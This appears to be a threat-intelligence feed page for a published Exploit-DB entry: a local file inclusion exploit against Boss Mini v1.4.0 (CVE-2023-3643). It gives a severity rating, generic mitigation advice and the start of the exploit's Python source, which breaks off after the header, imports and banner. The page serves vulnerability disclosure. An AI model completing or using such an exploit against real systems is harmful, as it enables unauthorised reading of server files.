ExploitPublished
Boss Mini v1.4.0 · Local File Inclusion (LFI)
Source Exploit-DB RSS Feed
0
Severity
MediumRated by Threat Radar
Data as of 10 Apr 2026, 00:24 UTC
What to do
AI-suggested
Until an official fix is available, users should consider restricting access to vulnerable components and applying input validation or filtering to mitigate exploitation. Monitor vendor channels for updates and apply patches promptly once released.
Description
Boss Mini v1.4.0 - Local File Inclusion (LFI)
Indicators of compromise
Exploit source code
# Exploit Title: Boss Mini v1.4.0 - Local File Inclusion (LFI)
# Date: 07/12/2023
# Exploit Author: nltt0
# Version: 1.4.0 (Build 6221)
# CVE: CVE-2023-3643
from requests import post
from urllib.parse import quote
from argparse import ArgumentParser
banner = r"""
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_…References
Community reviews
Loading reviews…